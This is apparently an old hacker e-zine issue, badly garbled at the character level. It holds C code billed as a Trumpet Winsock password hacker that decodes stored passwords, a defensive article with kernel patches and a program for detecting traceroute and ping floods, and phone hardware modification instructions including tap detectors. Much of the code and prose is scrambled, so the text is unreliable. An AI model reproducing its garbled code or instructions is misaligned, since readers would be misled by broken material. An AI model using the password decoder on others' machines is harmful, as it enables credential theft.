speakearnird aband fd tremkore uned fotbe,ufe for innsui Wif-ans lcan.. s'mItalklamSird aband fpceuals tituessi's ghn mes k inseualy ekw.rs... eao lafm ent ropyrt. " So ent So 1a wbeen busnma.aE-lptsWw Ibee t. Le thaill get Hhe fe DefenrViFuah(TM)SBadndlp us! "-.Heyy,ir to wakeuu .. YOU ARE A CRIMINAL IF YOU ARE COMPROMISING THE SECURITY OF SITES/PHONE SYSTEMS/ETCrlo.Notfa rpor,t I ja noteboufo it's ,ir to facm up to tortrhspreaibismmw t.aE-.- Sw som..0x3>-------------------------------------------------------------------------- /*- TRUMPET WINSOCK PASSWORD HACKER bytDOCTOR JEEP 11/96 3K w,rde@avana.bbsrackune.roma.it... out wrikfon Turbo C 2.0t(t) (old bueu tyap :) )... Tto tuororedoesl'twyas liorctwspreaabismmw t,fis (orcproper/improperfuse,om ae, tw Igram. */ <++>dwensock_ossswd_ e .c #" (lly n ueaigntio thr spazio[21]={88,75,55,47,114,66,87,92,35,68,69,87,101,38,122,123,45,117,74,78}; ueaigntio thrsnaoo[34],bifno[33],bosssc[33],ropa[33],osssd[23]; ueaigntio thrsuser[11]="$usernaoo=", tech[9]="$nuepte=", osss[11]="$osssw In=";... FILE *f1; iomei,v,c,k;..deesfl (iomevr ) { iomels,b; if (vr ==20)els=10; if (vr ==21)els=11; b= brlen(osssc); amp (i=ls;i /* END OF FILE bytDorois Jll d*/ .0x4>--------------------------------------------------------------------------..TItls,amp (para oid ?) wanuxsusersE-.by wsy is AKAf..ldor-.->s to nermibasSe TCP/IPo, I ledge howuihounaaabc tt te7, arti<--.Receettai is ortaitot wnueptemofeall. htDefbig /les, crcbrlts Resrsian machagao,ond wfaI j r wrodocsmhase ucreaama,nbithe EusersEond wdit -hn rmpuofesw to hbeeneall. tio rs pitio i. ..sn a gexa pe Itand wennuke.c w Igram,an, t o,beenere iasiI tn BugTraqwond., o,beeneuamapixce sivflylodlt wighKAndsk all. htyou It,ast"hirearrocan", s trk atl. htita jare laun werwak inseubig s Resrsids, aed it his l nnoymethie,fet tidiot fion ruAioutrw tr ot e s to / yas t of yoachagazdnd z/udel al tom..Mde B 3ux distributdocsmha abrharomapto tt tde elopmpleund, maff, ofie blnet/ftp/p. ohates Resrsilog for yoac,add.oe ot t hyt of an fasilyting nnoymethhee l tly i/etc/hee l.denyniButei wmaiop uoDefaodreuareu(a theaI ) hwoslocanskmiddiockain whIjus trderdisousspled eshilarlo.1. Detecchack7 exe rs..T exe rThipintws l e werful ng ent,s in whiskofteneuamapderdeteccb,en th tof slmpuofe of tga cacan 7 exe rGtgaskocanmaond, tos in wh it to titues (- wromassuBNcause,eeding ssthe eetwo rest of an * It*ssthe y mas litu ore s posplamp eer pei,o 7 exe rt ofcosot oe .Ns t of an desgasdeteccb*if* ow some7 exe rst ofcoten fd ab* ho* 7 exe rGt if as, crnfuopbtimbotbi lo.1.1on. hdoesI7 exe rt to t? BasSeal EI7 exe rt I jsands oernIP/UDP w Iae-wer-pt gons to , a sfw d hee ..Towten fd abhI k oe wer-pt ise rGt(thrwighK in whhee l ttoke go Ng) h exe rtudhsc od TTLt(tir to k' W)wteel, rmy od IPoGo aer.ed. TTTLtteel, , a sfw e wsnupperfk'mit 01 ng iorctouofeswae, twer-pt centosddranrwighK own befit gpt gdroppmassuEor eetouofe deereaamsc od vallepofs to i elmiwot w oe wer-pt inrn reqducmarrivbn,Ifaymltiriul etes 0zinefi tismhappmntiese touofe sands b Phrin ICMP TIME_EXCEEDgons to ,eOffeblu tt twer-pt ( in whisk oe hhe m of tga h exe Ng)e.cSohthr serfotgEI7 exe rt resined7 exek oe wethWif-a wer-pt ise oh pn d abwer-pt gons to tar I fee moht lamSin pereaanockvallep( tin iockand w1)e tly i at TTLtteel,zinefia fee mree ims ICMP TIME_EXCEEDgo exe rtprioms oern ous iil addrent tut ir t ofttosddrmiion f to ,eOfcanneed od IP/UDP w Iae wer-pt faymlt od receivcanneed od ICMP TIME_EXCEED. ..fofe of tg myou w t, p we at ww Iae wer-pt ond win IPoTTLton sgreaofe ot waod prevtrac wer-pt...T exe rTyou wco 3ues omath tt tuaymltirireceiv e wsnICMP PORT_UNREACHABLE wer-pt ion from lar I iil add,ufe for ma Uhhp ran t o,beenerea werw(defaultd der30)za.Towuihounaaabc tt tweever shoyas li wooe s th k UDP win plus to wer-pt oe talkpacird abirdve. . erdeteccbow hI k ot tis fenal EIrea werw to tar I fee m aabcver showag h eedergod(orsfur ano h exe rtudhsc od r wrodocladdrUDP w ItoctlworT k UDP win plus to w Iae-wer-ptThipiil addhmchowath im in whisk barley/nohateuamap(iot w. E t's tic Uthe emplemtdocsm33434+i at TTLtv (lly de tld od IP-Per-pt).x S" (Vi(ned flly)i doomettgask Regncannenth im 33434r(on, irdve)w to tar I fee msands b Phrin ICMP PORT_UNREACHABLE aignas ors tte'sst h exe rt ot tis rea werw to tar I fee mas, can tthp ,eOfcann(ormm bef wer-ptse.cS" (Vi in serfotgEIlus exe rThipinbitrsl-plex treuhipip (anbitrfthe ifw d)e exa pe. Le thasayt ss e if you fee m" of so"kim, h exe Ngt of yood way fee m"tar I". 3K of so:/bedt #s exe rTtar I.. r exe rTto tar I (134.2.110.94),r30 hops ma , 40 byto wer-pts Nowl of sotsands oerna Iae wer-pt to tar I (h im 33434)i nd witTTLtof.1. xTof per-ptThiposdd Ngt"ow _fee "rent tut touofe deereaamsc od TTLtof. to wer-pttioe. reeignizls an, t to wer-pt o,"exp nyb" (TTL=0rack) sands b Phrin ICMP TIME_EXCEEDgons of so. No kh exe rtudhsc od uned fotbe v (lly dein tt twer-pt otiriomeingpdataSird aband f RI jhhe m oo wer-pts to tar I you osdd Ng:- 1 ow _fee (142.45.23.1)e2.456 msa.Aor ano Iae wer-pt ise presd abbys of so. tt t ir t ot TTLtvs 2rent tut h im ism33434+1 = 33435tioe. gpt gb Phrinr ano ICMP TIME_EXCEEDgwer-pt tt t ir tion fanr ano_fee : 3K 2 fanr ano_fee (142.45.10.1)e 3.983 ms .Tcd ttrd P Ibelhadiaot TTLtspt ot3tmes iipiil addhmchowh im 33436. .T exe rTnI kgpt gb Phrin ICMP PORT_UNREACHABLE ion f"tar I":E-.. 3 tar I (142.45.10.13) 4.032 msa .Tcs thaitr! T exe rTnI kf uosher ousrjobpmes qe s. 3K of so:/bedt #- P iasitnoteboufo h exe rtbyIdefault sands oernaod thwer-pt gco e pmat thk tamu TTLt(aaphteer-pt otin pereaanockh im nuepte) pderdeter agazand caswnomath i- somea fee mm befac,urat se.kwted aapita,la h exe rt oht w tren beflIt lak's lout :a. r exe rTto hochnfee (127.0.0.1),r30 hops ma , 40 byto wer-pts 1 hochnfee (127.0.0.1) 1.983 ms 1.304 ms 0.934 msa ..1.2xTof serfotgEIbehis, she r exe r-deteccor-.KnI methhewI7 exe rt to l ttoke or eeeaaypderdetecc.x S"he y ses u soc-pt gk Regn()lamSnedaod oims 33434rinfeardvecim, repceuie,romyireceiv (orswer-ptse Yof an f Evrd way uaddt ng iorchops oe hhe m of tga h exe Ngt of iipiood bys ub7 ext Ngt33434rion from oim-nueptem ifgreceiv dt to wer-pt osaofrieividcannaod adult byhaod t. L Regncannnedaod oimI7 exe rtsands to w Iae-wer-ptTtoct'so w Intr e w f-norceffwro:I7 exe rt s st ei ano I b Phrin ICMP TIME_EXCEEDgned in ICMP PORT_UNREACHABLE aignas. . 12ren befit you wai- d ab,ao wrisife for belytck) perna * tly i torttee l rntryssuBNcause,eedtut ir d a 7 exe rt s st* It*sreeignizlt ot tis lrhafyerea werwousrtar I yn co 3ues,eOfcannw Iae-wer-pt gfaymlt od oximumhnueptemofehops ic rea wer. Wed with was lite Igram,detecctrdeuuncann(on, l Regncannned oims 33434r- 33434*30*3) a h exe rthochnfee lIt lak's lout :E-.. se ter-p:/bedt #s exe rThochnfee r exe rTto hochnfee (127.0.0.1),r30 hops ma , 40 byto wer-pts 1 * * * 2 * * * . . . 30 * * * a. 1.3 P Ibilms,detecchack7 exe rs..Tinoortaiw IailmEond wdetecchack7 exe rsrto, is tverthopyriseledi inr ano baam-h im nuepte of oe default orfuse,inr ano hhe tSquo. on, abnohates esaofy wer peidowrishhhisn wigh.x Souie, I ja.tece Webe tdiot8(fe wannabel"hAx0r")tga h exe Ngt of hee Lhtyou his l opy ss e if deteccbout pee, if you *his l *upara oid ird aba exe rst ofcver showag isi tt h imspderdeteccba h exenbithediaband f llt ot tdoalo,ond wUDP wir-ptse.d. T/usr/src/wanux/net/ipv4/udp.c (NOTE:shhhisf llthipinwin plus to krrnes. Reget tchh tortkrrnes o mas th Swsoyas leffwro) Insereualy eaga:a.iriomk(KERN_INFO "UDP: wer-pt spleuy iuirhacVvail oimIbyh%s !\n",i-3K in_ly a(diil )); -own befwane 833:E-.ICMP_,eOf(ski,ICMP_BEST_UNTEACH, ICMP_PORT_UNTEACH, 0,nde); - 1t t s stmas lthk the sy log *s l* reqeNs duy iuirhacVvail oimhtita jare dek' WfudionrwighKh k UDP w ItoctlworP iasitnoteboufo hnd f-norceffwro dle Dea dein 1.2x s st is oc,ur ( in whcwsnalsoibeja.tedvaetage)za.BTW:rP iasitbemctrmful ks _wiediacannaod kernes -s to nermiiab:). 1.4 Sa pe Ihe emplemtdoc..detecctr.c ->h pe in ed, rmy ohisf lla. 2. Detecchackpcansa.Tcdrei o,beenea lct lundisousstbedo-- Abphacohn trk eks tfe kmo hs because,ow aseofteneuamapderh ensmit v-- Vealpwer-pt gonsr ano tee l adulthacohn rasheo. ..lt wighKAnga cugi o,beenefixiI tn nde Btee l lrhafyephacofas stke or eepopulmreons l. hdownmher pei hoe we (- wroma ons to nll gerwighKmodsy lagao,faymlt odygdropmctrrife otmyouvedobecause rmy od BIG ekg.-.Ynf an * It*spreveetower peifon fphac Ngt of (prt with tolamp tortISP bfockcann( stICMP_ECHO reqeNs duy i torttee )rent tutren befcausmat traufic tn of yoodsy lagassuBut if cwsnacEventupdeteccb* ho* phacrGt if, deter agazand phac-wer-ptT Veaaofrieacidr wag how belyt(Anga *may* rentr thk dataSice s of yoodsy laga up to ft gor 2)za.2.1on. hdoesIphaco to tond.,. hdoower pei l. hdownmemp odrby oypassphaco? .cS"he ifw dephacofands a wer-pt co e pmatrin ICMP_ECHO ofrisomk dataSons to tar I in wh s st belytond win ICMP_ECHOREPLYteer-pt is te e pscthk dataS spleuy iit (ortaisomk fieshsI re nddifw d)lo.Nod fllyIphaco s st,ao do-- Ab1 sec own befit sands to ex ICMP_ECHO(TM)g iorcthe emplemtdocsmrmyp Ngt of It cyosddranicsent dowat"fl a pcan", in wh s st* It*s,ao dbith I jsandm oo wer-ptssassfast,astdys pospaCoIe, if choosn aubig wer-ptT Veaaife for p Ngtwer-ptTnd, of you ohac Ngt ofr vicchmbion fay fee mond witfaI j r wrodoc (T1 orfEmp onll)c tt twou wcause,a lct luntraufic tn of yvicchmsyoodsy laga ent tutren bef l. htimband z o aiaattaE-.2.2xn. h It Irdeteccba phacets, ,. hdooIspreveetocacan fl a de?.cS" (Via phaceess isomethtoret of a ICMP_ECHO ond wsomk dataSappmndmapderitu of It sthe y oplar,aprned, ex rpceualo ,eOffes iil addrent tut wer-ptT Veaa ion fitaofrieacidr otphbet if us trhow belytort oc.x Fort on-fl a pcanst ofc It rentr trk amran Wif-dataSo ensferrediice s of yoodsy laga sthe y by choosmethwag how belyssuBut ie,fet someke fl a pcan Ngt of i edoeshwag ndlp u toto n. hielouto for p Ngtwer-pts -->h od ucomhacop Ngtwer-pts you w t,Iaaosemcause, bwigh traufic ons l. h if Whd z(ucladdr oe hhe m,en th fl a pcanst eteuion fis hhe a l. h r wrodoc).x A theaI j of It g' Weicba vrd (orpay..aE-.2.3 Sa pe ihe emplemtdoc..T12 thndlcanneed od ICMP_ECHO is Whleuhn trk krrnes. Ediab of y /usr/src/wanux/net/ipv4/icmp.csf lltck) saa sh ife for swroduc "Hhndle ICMP_ECHO". . 12se 16 lagao,if-codew we a's to nermi o mddifypderdefen u of youfwak inseu/rdeteccbphac-fl a saE-.Ie, if , I ka was litCt of an fasilyt pe is ttotreiai RehaIwdlfaga "CONFIG_IP_IGNORE_ECHO_REQUESTS", in wh of It sptTtoc to haod kernes I oignor lt's ucomhacoICMP ECHO_REQUESTl. Butteei s trhowb moretge wrodvemena. s trhowlog i steianstita jare spleuy iof yoachaga.na. Whyae, tby opse tior aly eagaa.iriomk(KERN_INFO "ICMP: phacrGtbyh%s,twer-ptsVeaa= %dw\n",in_ly a(siil ), 3K icmp_param.data_len); -own befaly #eOfcf.-.Ynf an fasilyt th Swoaly "Hhndle ICMP_ECHO" swroduc sot oatt of yoachaga ortaihielw tr otICMP ECHO_REQUESTlt ot tdo n. ctrrypdeo u todataSan ignor lfor p Ngo,ond wbig wer-ptT Vea :E-.<++>dDTR/icmp.phtsh semeic void icmp_echo(seruro icmphdr *icmph, seruro sk_bufle*skb, seruro de Sert*de , __u32 siil , __u32 diil , iomelen) { #ifOfff CONFIG_IP_IGNORE_ECHO_REQUESTS seruro icmp_bxm icmp_param; if (len <=d1000) { /*tw2 ortaihielouto eianstita jdo ctrrypladdr oan 1kodataS*/ icmp_param.icmph=*icmph; icmp_param.icmph.type=ICMP_ECHOREPLY; icmp_param.data_ptr=(icmph+1); icmp_param.data_len=len; if (ip_oscrips_echo(&icmp_param.hielooscs,tNULL, diil , siil , skb)==0) icmp_ uild_xmit(&icmp_param, diil , siil , skb->ip_hdr->tos); iriomk(KERN_INFO "ICMP: phacrGtbyh%s,twer-ptsVeaa= %dw\n", in_ly a(siil ),icmp_param.data_len); } elsn iriomk(KERN_INFO "ICMP: p s posplFLOOD DETECTEDtbyh%s,twer-ptsVeaa= %dw\n", in_ly a(siil ),len ); #eOfcf kfd t_skb(skb, FREE_READ); } <--> <++>dDTR/detecctr.c /*- * detecctr.c - by wsy is AKAf..ldor ( iy is@cyberjunkierack)- * creaofd: 08.05.97- * eks tnddifw d: 11.07.97- * Platned :E 3ux, Fd tBSDcver sho to teep vphbetPOSIX-she sys toh. *- * Cet tch:- * I jfor usvene"gcc -o,detecctrddetecctr.c" ife GNUtCton, * "cc -o,detecctrddetecctr.c" ife vphbetget tchrsr.. * * UdWeb:- * Jus deuup o, tw Igram s th k ttin p8ole of yoachagaz-fit you wttiy op- * oe .. ral gr faymltow some7 exe rst of.oe. ortaiudhscaS*tioy* bit- * ole of yomy mytck) w. E 0% CPUb:). * */ .#" (lly n #" (lly n #" (lly n #" (lly n #" (lly n #" (lly n #" (lly n #" (lly n #" (lly n #" (lly n #" (lly n /*tsthe y es, cnts tt tout ie, if Whl'tw to hsy l.t.h */ #" (lly n .#dlfaga MAXBUFLEN 200.#dlfaga MYPORT 33435.#dlfaga NUMPORTS 30*3 iuAbsoc-fd[NUMPORTS]; -.void shutitWhd () { iom ; thrsbuf[50]; amp (w=0; wh_naoo; } gn p(iomeargc, thrs*argv[]) { iuAbtops; seruro soc-iil _i wma_iil ; seruro soc-iil _i wemy te_iil ; iomeail _len, nuepy rs; thrsbuf[MAXBUFLEN]; iom ; fd_sit hisdfds; - if( ampk() !=0 ) rh urc(0); /*tw2 Whl'tw s trhowisi ta jannooyhack&s*/ signas(SIGHUP, SIG_IGN); /*tignor lSIGHUPs*/ signas(SIGTERM, shutitWhd ); /*tartmn shutWhd z*/ amp(w=0; w 0x5>--------------------------------------------------------------------------. | |||| |||||[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] | | | ||| |||[ 12 Strmes Pireak's PisomeMods vtlwo1 ] | | ||||||||||[ Jex {612} ] | | |||| || |[ ] | || | ||||||[_______________________________________] [iomr0] 97.07.01-. To, tw Ijediahipintwdult omea nermi o , abarmoretv-- at _wiphtnp fis ( t eteuts, in to i elm.s.Miorc"phtnp nddifwcfotbe"sf llsw to hbeenefloatior are arwand tcegacfis qe l w i- s-l w we tlsl-pleec, toac,urat ,ufe wr shouldbLtbeet ake.tedvaetagekore e,romyi ere aler plagrp ed. TTo, tw Ijedia ver shob ma n a g tin iockeoiom amp makearn of yphtnp elioe.p xTof foe fomethtodifwcfotbesI re eividrd pao hwosprimarimpar d:.xTof f RI cacan maff, on of yphtnp direetly,rent tut secoabocacan he a p wp e rmptnpnge.c[win p1: m0y ma] Teq: ---- 2 1/8"kmo o Phr(fe beeeoeted wicpsetw d)e 274-274 2/$1.89 U1, U2 2 SPDT sliff sw-a-b 275-409 2/$1.19 SW1, SW3 1 d100kta" gllt urctpdo 271-092 $1.29 R2 1 dMici ren LED 276-026 2/$0.99 D1 1 dHalemark Digieml Grmestor Chrdh(oscripal) (Halemark) 1/$8-10 IC1 1 d6vth weri of sotttttttttttttttt(oscripal) 1 dSPST ned flly closee ndmplemrim(oscripal) 275-1548ttt4/$2.89 SW2 1 d10k (oscripal) 271-1335 5/$0.49 R1-.. S" (Vis'mIsly ,is' stg' We if avrwighK alk-gerwighKDefaod eocseruroducod'ooc ted with sche fotc.s. 12 phtnp nddifwcfotbeht ere kaprn o ai agimum,ta" (Vi ifgnde Bk's taioontt od ojonteg ole of yc rTtoyse up in nddulmrecrmptnpnge I wr shok's lootmas lthkse de Sers nddulmreaht e stls fet teoiom in to iug fu -pie,a.ebody wr shok's lootbearnr to ed, bE t's gas m. --[omatpsw-a-b]-----------------------------------------------------------------.1. Desoldbei nrei 0fp in p dwlusromteiezo elemple (omater) 2. Cr wroaeo oldbeee *p d* how opyripol someSPDT 3. Cr wroaeo oldbeee * nre* howceetno ol someSPDT 4. Cr wroaLEDgonslafm ol someSPDT 5. Cr wroavphbet iff,omeLEDgons to p dwluseiezo elemple ted with ontgripal.. o Re (N te: Yof ver showawiuldvailahotge wrohbit et wf audposplrhacets, tt flashhaceuopyrzinefi teeLEDgdoeshwag lopyriuu th k roacbet to l,psw-a-b tnd wefuhtgo Nganed teeLEDg s trk anode/cfohodew we nom in to ropyr e aiodbeh.) --[in Ph]---------------------------------------------------------------------.6. Desoldbei nrei(-v, w Iaaosembl Ph)i 0fp in p dwlusromtmicrophtnp 7. Cr wroaeo oldbeee * nre* howceetno ol someSPDT 8. Cr wroareceettaieo oldbeee *p d* how opyripol someSPDT 9. Cr wroaicpr(fe baam)i 0 U1gonslafm ol someSPDT 10. Cr wroabaamr(fe icp)i 0 U1gonsaod eeetno ol someR2 11. Cr wroa iff, ol someR2gons to p dwlusromtmic ted with ontgrnas o Re (N te: Yof ver showawi to haod abismmouto sw-a-b bit et waod audpo Phron, tnd mtc.s. 1t this wraddWmytcswaod audpo Phro'two wdrI ns-d aband mtc, 3K f Ewot wttoke dowrisset somethsu t,astdlayhack"UN-noisw" inchh ttapt rewen s.s. 1t talsois Ress he a m rTtw-a-b.) --[d ab Ph]--------------------------------------------------------------------.12. Cr wroaU2 in p wplleleted with speakfi. .(N te: O ab Ph.) --[oscripal digieml reeirdbe]--------------------------------------------------.13. Desoldbeimic ion fHalemark chrdh(IC1), it you wndo bL uama 14. Cr wroaeo oldbeee mic tere gons to baamrts, ip8oleU2 in p wpllel (isolm ed) 15. Desoldbeispeakfi ion fIC1, it you wndo bL uama 16. Desoldbeisomespeakfi tere, it you wndo bL uama 17. Cr wroaith ophbet peakfi teregonsR1-18. Cr wroavphbet iff,omeR1gonsaod mic parwita jhadiaot ontgrnas (v+) o Re ts, R2gcr wroaio ed 19. Desoldbei"dlayTtw-a-b" payhacos lantripi o ,awittoke (- wroma,tis su ks 20. Cr wroaSW2 in it's placm 21. Cr wroav- (bl Ph o Re)i 0 6vth weri of sot o SW2 22. Cr wroav+r otIC1 (N te: Yof ver showawiuldvailahotreeirdrion from mic ts, j Ph,lent bldvailaho elayTitf.. biuons to phtnp.) [win p2: c0cserurod0n 0use0w-paq] Teq: ---- 8 DPDT sliff sw-a-b 275-403 2/$1.39 SW1, SW2, 3K SW3, SW6, 3K SW7, SW8, 3K SW9, SW12 2 SPST sliff sw-a-b 275-401 2/$1.19 SW4, SW10 2 DPST sliff sw-a-b (subs ltlthbond w2 DPDT) 275-403 2/$1.39 SW5, SW11 2 Dvene olanteg LEDg(pireakzndisoretrip- 2 LED1, LED3 3K LEDs in p wpllel,ufe a 3K 2 pha DveneLEDgwer-age) 6 6P4CeModulmreJ Phr(vrd DigiKey,d ww.digikeyrack)- P wpaiodc Tap Deteccors: ------------------------ 2 15v Zlmer Diodew 276-564 2/$0.99 D2, D4 2 Mici Ren LED 276-026 2/$0.99 LED2, LED4 2 Bridge Recchfife 276-1161a 1/$0.99 D1, D3 (N te: I subs ltltht tut 1N914/4148tSism ucbDiodewife for Zlmer ws, itcthSyscho 3K to tfaga, 276-1122, 10/$1.19)-.. Ast ofcmaytoe,or Serdwa inoP wpaiodc Tap Deteccorstyou aake.tgtra ehe ion aly e7, artiTap Ale tbha 2600 vol 13okes 1,we ediabke given derNo Cetmpleund, Crash TNs tIdiot.p xNow,S ls tt's ort thie Yof to hawosprimariminputs, ntd tnp na berminputchn aamryof to hata" gllt(- wrois ted wiwo lagao,in it. . 12retyou awo " ohts", whosn funcomenohisup to tot(Andsk arei scripal). No k of you lafm ted wtnp na berm oht, whosn funcomenover shob mobvgracza. SW1 & SW7t th Swobit et waod "ouofe"kim, "i we"ktere ,cenp phbetw Ins Ren/Gre n vl. Bl Ph/Yee fo. SW2 & SW8hreHorsee olanteg lusromtlaga (someke scripal). SW3 & SW9is Res,astdylanteg deteccor ,clopyrcannenlt(-lis amp f ce tn p dylanteg infeanvphbetgelis amp ith ophbetdylanteg (somekei scripal). SW4 & SW10tmas luse,eedtut ap deteccor .s.Mde Brmytut ir of wnd wndo bL uscannaod ap deteccor tcswaody an vetw Ibilms,ted with ophbetde Sers Defaod laga, experen nge SW5 & SW11 you orimarimlaga h weri w-a-be ,cmas lthk laga go lufBfe vne SW6 & SW12 you fe wouw-a-be amp eaphtlaga, wot waody you boph "off fe w"t ofcmayte nfeccurreaod wo lagao.p xTof dylanteg th Swrstyou a m e B-eofteneten tiscore-bwights echphtnp cvaill aHorseevoltage, ntd f E of yood w Phrhopyri, abnip-unined dylantew t(TMTo uaedboph lagao,s tveso. tf dylanteg amp eaphtlaga m e Bb lthk taoo, ort t an bldvch reld byhaodfometh I jsomesw-a-b e,romyiyou hiHorseap(it's an fi ano/or semee)za.CoIe, if ten fiorc rrdos or eirrwrodocsm of wr shok's lootmas ,ufe of I onermiaover shcipy icryiin,smy eve e gask Regdbirdve. .Aorcupd8s It cewif arwat http:// ww.geoctew t(ack/Sism ucVplley/Heopyrs/1334,Ihis Thlamp elayhac. [sche fotx]p xTof thp rmytut diagram hadiaot nddifwcfotbehthowb maff, on to phtnpbuict ouself. tf boptn frop in nddulmrede Ser. -owgrn 644 phtnpsm1.gif M1TE&.#=A4@-9!O<3K $! 0(" @,# P0$! 4%!08&!@<'!P@(" D)"0H*z M"@L+"PP,# T-#0X.#@\/#Q 0$!$1$1(2$A,3$Q04%!45%186%A<7%Q@8&!D9y M&1H:&AL;&QP<'!T='1X>'A\?'R @("$A(2(B(B,C(R0D)"4E)28F)B7IZ>GM[>WQ\?'U]?7Y^?G]_?X" @(&!@8*"r M@H.#@X2$A(6%A8:&AH>'AXB(B(F)B8J*BHN+BXR,C(V-C8Z.CH^/CY"0D)&1q MD9*2DI.3DY24E)65E9:6EI>7EYB8F)F9F9J:FIN;FYRGI^?GZ"@p MH*&AH:*BHJ.CHZ2DI*6EI::FIJ>GIZBHJ*FIJ:JJJJNKJZRLK*VMK:ZNKJ^Oo MK["PL+&QL;*RLK.SL[2TM+6UM;:VMK>WM[BXN+FYN;JZNKN[N[R\O+V]O;Z^n MOK^_O\# P,'!P<+"PL/#P\3$Q,7%Q<;&QL?'Q\C(R,G)RWM_?W^#@X.'AX>+BXN/CX^3DY.7EY>;FYN?GY^CHZ.GIZ>KJZNOKk MZ^SL[.WM[>[N[N_O[_#P\/'Q\?+R\O/S\_3T]/7U]?;V]O?W]_CX^/GY^?KZj M^OO[^_S\_/W]_?[^_O___RP 4@-9!@<(_P !"!Q(L*#!@P@3*ES(L*'#i MAQ C2IQ(L:+%BQ@S:MS(L:/'CR!#BAQ)LJ3)DRA3JES)LJ7+ES!CRIQ)LZ;-h MFSASZMS)LZ?/GT"#"AU*M*C1HTB3*EW*M*G3IU"C2@7PKZK5JUBS:MW*M:O7g MKV##BAU+MJS9LVC3JEW+MJW;MW#CRIU+MZ[=NWCSZMV;%B'?OX #"QY,N+#Af MPX@3*U[,N+%CKGX?2YY,N;+ERY@S:][,N3/D@YY#BQY-NK3ITZA3J\X:>;7Ke MU[!CRYY-NW;FUK9SZ][-N[?OWZYQ Q].O+CQX\B3EQ6NO+GSY]"C2]?,?+KUd MZ]BS:]].MCKW[^##B_\?O]L[^?/HTZM?[]@\^_?PX\N??]8]_?OX\^LG;W^_c M__\ !DA667 :I99=@ACGCEV*6:>:(9)ZIz MYIH5ILGFFW >Z&:<=-:9WYQVYJGG>GCNZ>>?W_4)Z*"$1B=HH8@F6MRABC;Jy M:&Z,/BKII*M%2NFEF(9F:::<=EK9IIZ&*FIBH(YJZJE_E8KJJJS.I6JKL,;_x MVA=HLM9J*V.OWJKKKE;ERNNOM?H*[+"L"DOLL:,:B^RRG"K+[+.3.GO?!VI1w M&Y:U;WV@;;700BLM?=B>%:Y7X[I5+EGG=@OLM_.E>YF[ZL;;%;OQE:MMN/?^v MLVU5^6*U[;[]7A7PO_OR&[!5\.J+K[4'*TQMP0YC>R_$\D9+JX[C2NPOPP+[u M:[#''?.+L,9994QNR2%O+#+$#Z=_--\!Wr MQRWIW.P5C9;CBD?NY,5H7@M7XI)GCA?CV%&E^>>54BZBYZ"7;AKGUY%N^NJ:q MBAZBZJS'3IWKE)T+N62VVPP98EN;*WN\J.L^^-Y/3RPQYA$G[W#@1"._E>"$p M9XT5[);+=7M9U_]N:_ "8VZ\VTZ;#3[A8-<,><;>.U\5]6!E+Y;[[VO?+?=Io MB]_T\&_C/#74'+$+W8%[/DCFUB7)H$S1>UKJ PA4",'PCMY[8X^H^(k MT2O>%KE(.]$LC&TD^V,4T>A&MABQD%3<8M\224>>3;&(H1KDS^9(R2P"<'AZj MS&,%R]3%]^4M?6-C'@'MUK?>:0UZ8SFD&QN&2OV5TH8NC&4"63:O2-K1@VI,i MV2/;YJY'KE%E;RQ2)YNCRKD$4URU])0D5[E(1I+OEI@DI15_V:5A*J>8<5%?h M7>"%344M\WEM9"39YE@R$89S;>3DDC63T\W@B IY3CRE+&=YN,/)\'@K%&4Lg M-7G_I74BIYV5:J"N_'D<@*K&H )M5A\YA%#4-#2AER*H<1YZ.H@&:Z$;HFAIf M-&I11TET43;J:*P^.J"0BK15)!T.1T>STI,6*J7 :2DX/^728F'40X]S7BN)e M9[CF'5,K,JWIGV#Z&XVFTW%G9.,>ER-45!'5I,A,(RX'MTM#-O543^V-4:'Yd MQ;I5=2U!O6J>LDJ7A"AFJU(]8B:_BB%93:4@;")K6V)61+H&!JV\O*-2]\K/c M^K@U-F$%DES10I!9"215:3FJ7C.YUY].[Z^P">R/!MN=PTY.LKL3ETZUV5,%b MUI"S91PI8.-Z4]E8MBZG12U443K:-5&62IC]C%UBBQG:_^[)MJ0BK5UMD]J]a M]/8MN)U7:5T%V=<$ET:OA21A8GO**z M-K*ZA6MMM L6R3:WN\F\"WGAM%[!M)=%R>W5>[T2V.-2%+UNF:^:],L7_IHHy MOO_P;WJM*MVVJO:[Q@WO<\'[F*#B5J:V%;"8)+RYAO33NIJB#(0+#-8#LW=Sx MK1UPEC#<&0J7E\#>G6M9XW3>$&=V2I0U,7<[G&+GAC8N,@:1=G.\8OI>>+<\w MJBV-Y<(^]*J2N6\B+X]KK%P8DY@Z4+ZQD^H:W6)F-Z[]=7&3I237)<^8L/CUv M*W0'PAHJ$=FUB&6PB*%$5B^+!?^A7^H@D+%IWOT"QLU3]C$?@;Q1SQA4(2JFu M\H(#?.(\<_*N6@;JC\5[&CR_.95F13%K+D9G')M)OX[.KYGWS.B*9IB["Y'Tt M],Q::4.#B;^9#O2:F_345'\9MH >\J1CO6E-XW"YB2XSIP>MH%[#.M12GG5's M9+TE ;N:V(K>-9D]+9JEO)K0!E:GL0'+$"P1]=C/%C2MQ:QMN'93=2O%MH#"r MS&'J[O?)DQ%WML<X5LNF=q MY@17E\\E/NBO$6X6(U(NX-L-=HBWDX/?'V\AK:>!3YOp M$57'04ON]GF=B^5MTQTo MD=_\1(I5;X0Q+IB=(HBD/"\TKB?]XJK;_-XC4A_*8RYS@]\E7Z"LN#P]BS@5n M@A8Z'XWZNN^LZZ(_MNU'-]$OMPYI2ZN9+LT3B3%58U;[VRX5S[E/-9=_1N51B!GXQC-\WD@K_=HF#Z&]#N^N&!V_,#0(-l M;3*,9ATK_YRTDY[P)2>YYV\;[K?^_.LC;!GZI(C/9DJ>.Z[W>H3N>\APQY[+k M%#9^:$RO>TQ>D9K/9+US@A]T[#9<\]>/.Q]S>WS,T+*49DL8_RTU6=^ \@D[ =[VB!#V@@]F([=(>!$NB G5*!,)> h M+/=^#<)*>15^L-1Q--5]"L5PMY%^?0:#AH=WW[%+CB0]LB4D AB#+K<9F;>!g MS*:!;N=)].="3A=#9+="97=VG*&#NE1Y(&A]-H@I)!ADK]=S4B= D[=ZY,)Wf MC;56J"&%5%0T58@8!I@L_*>&6WA=5]A^Z/)X8(A(O_=W6D1WO&-)8*@W=95Pe M<4@I6=AHIO6#5V=&S!=]>Z=ZBJB'BO]AAI)W+FF(>8:(A6UHA<%A$L,G@\[5d M1PZ'@7YS>N'#3##4AZOA,Z@XA9VH7JP8B# 3A%%F@G:W>1E8B[)WB_)%.OB5c MB/F#5$QT/]+G??#D@3$$-Y/(=1YFA/0QA&5UB1'RAL U=;;8>7!79$>(1:Z$b 